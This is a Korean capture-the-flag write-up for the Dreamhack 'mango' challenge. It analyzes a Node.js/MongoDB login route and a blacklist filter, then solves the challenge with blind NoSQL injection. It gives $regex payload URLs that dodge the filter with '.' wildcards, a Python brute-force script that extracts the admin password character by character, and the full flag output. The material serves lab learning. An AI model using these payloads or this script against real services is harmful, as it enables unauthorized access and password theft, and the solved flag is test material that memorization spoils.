Web Hacking [함께실습] mango

웹 서비스 분석

엔드포인트 : /login

이용자가 뭐리로 전달한 uid와 upw로 데이터베이스를 검색하고, 찾아낸 이용자의 정보를 반환한다.

app.get('/login', function(req, res) {
    if(filter(req.query)){ // filter 함수 실행
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query; 
    db.collection('user').findOne({ // db에서 uid, upw로 검색
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){ 
            res.send('err');
        }else if(result){ 
            res.send(result['uid']); 
        }else{
            res.send('undefined'); 
        }
    })
});

filter 함수

일부 문자열을 필터링하는 함수로, login의 GET 핸들러를 살펴보면, 이용자의 요청에 포함된 쿼리를 filter 함수로 필터링한다. 해당 함수는 admin, dh, admi라는 문자열이 있을 때 true를 반환한다. (이러한 필터링은 인젝션이 발생할 수 있는 근본적 문제점을 해결하지 못하며, 보안상 안전한 코딩 방식이 아니다.)

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

취약점 분석 & 익스플로잇 (Exploit : 취약점 공격)

로그인 페이지를 구성하는 코드에서, 쿼리 전달부를 살펴보면, 쿼리의 변수 타입을 검사하지 않는다

const {uid, upw} = req.query; // 이용자가 전송한 uid, upw 입력값을 가져옴
db.collection('user').findOne({ // db에서 uid, upw로 검색
    'uid': uid,
    'upw': upw,
}

1) Blind NoSQL Injection Payload 생성

MongoDB의 $regex 연산을 사용하여 정규표현식을 이용해 데이터를 검색할 수 있고, upw가 일치하는 경우 uid, 아닌 경우 undefined가 출력되는 것을 통해 쿼리의 참과 거짓을 확인할 수 있다.

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

2) filter 우회

filter 함수가 특정 문자열을 필터링하지만, 정규표현식에서 임의 문자를 의미하는 .을 이용하면 쉽게 우회할 수 있다.

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*

익스플로잇

import requests
import string

url = 'http://host3.dreamhack.games:10122/login?uid[$regex]=adm..&upw[$regex]=D.{'
alphanumeric = string.ascii_letters + string.digits
flag = ''

for i in range(32):
    for char in alphanumeric:
        res = requests.get(url + flag + char + '.*')
        if res.text == 'admin':
            flag += char
            print('DH{' + flag)
            break

print('DH{' + flag + '}')

위와 같이 브루트포스를 통해 모든 숫자, 알파벳을 넣어보며 한 글자씩 검사한다. 이 때, 반환되는 text가 admin이라면 해당 글자를 flag에 더해주며 순차적으로 출력한다.

결과

DH{8
DH{89
DH{89e
DH{89e5
DH{89e50
DH{89e50f
DH{89e50fa
DH{89e50fa6
DH{89e50fa6f
DH{89e50fa6fa
DH{89e50fa6fafe26
DH{89e50fa6fafe260
DH{89e50fa6fafe2604
DH{89e50fa6fafe2604e
DH{89e50fa6fafe2604e3
DH{89e50fa6fafe2604e33
DH{89e50fa6fafe2604e33c
DH{89e50fa6fafe2604e33c0
DH{89e50fa6fafe2604e33c0b
DH{89e50fa6fafe2604e33c0ba
DH{89e50fa6fafe2604e33c0ba0
DH{89e50fa6fafe2604e33c0ba05
DH{89e50fa6fafe2604e33c0ba058
DH{89e50fa6fafe2604e33c0ba0584
DH{89e50fa6fafe2604e33c0ba05843
DH{89e50fa6fafe2604e33c0ba05843d
DH{89e50fa6fafe2604e33c0ba05843d3
DH{89e50fa6fafe2604e33c0ba05843d3d
DH{89e50fa6fafe2604e33c0ba05843d3df
DH{89e50fa6fafe2604e33c0ba05843d3df}